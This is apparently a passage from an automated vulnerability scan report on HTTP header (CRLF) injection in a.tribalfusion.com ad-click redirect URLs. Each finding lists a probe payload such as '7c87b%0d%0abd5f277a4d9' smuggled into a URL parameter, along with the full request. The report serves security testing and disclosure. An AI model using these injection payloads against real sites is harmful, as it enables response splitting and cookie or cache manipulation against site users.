GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/f77aa%0d%0a016a8b52948/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 7 is copied into the Location response header. The payload 7c87b%0d%0abd5f277a4d9 was submitted in the REST URL parameter 7. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/7c87b%0d%0abd5f277a4d9/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 8 is copied into the Location response header. The payload f3ce9%0d%0ae73052eb8f6 was submitted in the REST URL parameter 8. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/f3ce9%0d%0ae73052eb8f6/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 9 is copied into the Location response header. The payload f5d0b%0d%0a1a3f5dc4f2b was submitted in the REST URL parameter 9. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/f5d0b%0d%0a1a3f5dc4f2b/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the http://ad.doubleclick.net/jump/N3867.270604.B3/B5128597.10;abr request parameter is copied into the Location response header. The payload 71cde%0d%0a25f834d5cf9 was submitted in the http://ad.doubleclick.net/jump/N3867.270604.B3/B5128597.10;abr parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?http://ad.doubleclick.net/jump/N3867.270604.B3/B5128597.10;abr=71cde%0d%0a25f834d5cf9 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.101. http://a.tribalfusion.com/h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 371c1%0d%0a2b1e54be015 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?371c1%0d%0a2b1e54be015=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.102. http://a.tribalfusion.com/h.click/afmM7iPPQoUdMVUrb03F2nVaYqWEB7STJZcRcbJRr6qRWUbWGbQ4rTuoWqq0qmv4WQBQVvZd2AQHotisUtF70bnkYFYfXaapPUnZbTrJXTtQ3nbQnQUfmYqYy5TJd4TYXnaJC1r38TW7TomUJmcQnmHfoogm1wx/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload d8fab%0d%0a8e4140adc6 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/afmM7iPPQoUdMVUrb03F2nVaYqWEB7STJZcRcbJRr6qRWUbWGbQ4rTuoWqq0qmv4WQBQVvZd2AQHotisUtF70bnkYFYfXaapPUnZbTrJXTtQ3nbQnQUfmYqYy5TJd4TYXnaJC1r38TW7TomUJmcQnmHfoogm1wx/?d8fab%0d%0a8e4140adc6=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 3 is copied into the Location response header. The payload a4cac%0d%0a09ac87d2afa was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/afmM7iPPQoUdMVUrb03F2nVaYqWEB7STJZcRcbJRr6qRWUbWGbQ4rTuoWqq0qmv4WQBQVvZd2AQHotisUtF70bnkYFYfXaapPUnZbTrJXTtQ3nbQnQUfmYqYy5TJd4TYXnaJC1r38TW7TomUJmcQnmHfoogm1wx/a4cac%0d%0a09ac87d2afa/www.reachout.com/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 4 is copied into the Location response header. The payload cd2cc%0d%0aaa4ca5c4189 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/afmM7iPPQoUdMVUrb03F2nVaYqWEB7STJZcRcbJRr6qRWUbWGbQ4rTuoWqq0qmv4WQBQVvZd2AQHotisUtF70bnkYFYfXaapPUnZbTrJXTtQ3nbQnQUfmYqYy5TJd4TYXnaJC1r38TW7TomUJmcQnmHfoogm1wx/http:/cd2cc%0d%0aaa4ca5c4189/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
3.105. http://a.tribalfusion.com/h.click/afmM7iPPQoUdMVUrb03F2nVaYqWEB7STJZcRcbJRr6qRWUbWGbQ4rTuoWqq0qmv4WQBQVvZd2AQHotisUtF70bnkYFYfXaapPUnZbTrJXTtQ3nbQnQUfmYqYy5TJd4TYXnaJC1r38TW7TomUJmcQnmHfoogm1wx/http:/www.reachout.com/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 2ddfe%0d%0a0901c3be52f was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/afmM7iPPQoUdMVUrb03F2nVaYqWEB7STJZcRcbJRr6qRWUbWGbQ4rTuoWqq0qmv4WQBQVvZd2AQHotisUtF70bnkYFYfXaapPUnZbTrJXTtQ3nbQnQUfmYqYy5TJd4TYXnaJC1r38TW7TomUJmcQnmHfoogm1wx/http:/www.reachout.com/?2ddfe%0d%0a0901c3be52f=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
3.106. http://a.tribalfusion.com/h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload f5a19%0d%0afc20db3ebd2 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/?f5a19%0d%0afc20db3ebd2=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the ord request parameter is copied into the Location response header. The payload 378e3%0d%0ac81c5b2e403 was submitted in the ord parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/;ord=378e3%0d%0ac81c5b2e403 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 3 is copied into the Location response header. The payload cfad9%0d%0a7190c6dbafc was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/cfad9%0d%0a7190c6dbafc/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 4 is copied into the Location response header. The payload 8b0b6%0d%0af4319473f03 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/8b0b6%0d%0af4319473f03/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 5 is copied into the Location response header. The payload bc699%0d%0a28b72215d10 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/bc699%0d%0a28b72215d10 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the a request parameter is copied into the Location response header. The payload de792%0d%0adb8b6b2f830 was submitted in the a parameter. This caused a response containing an injected HTTP header.
Request
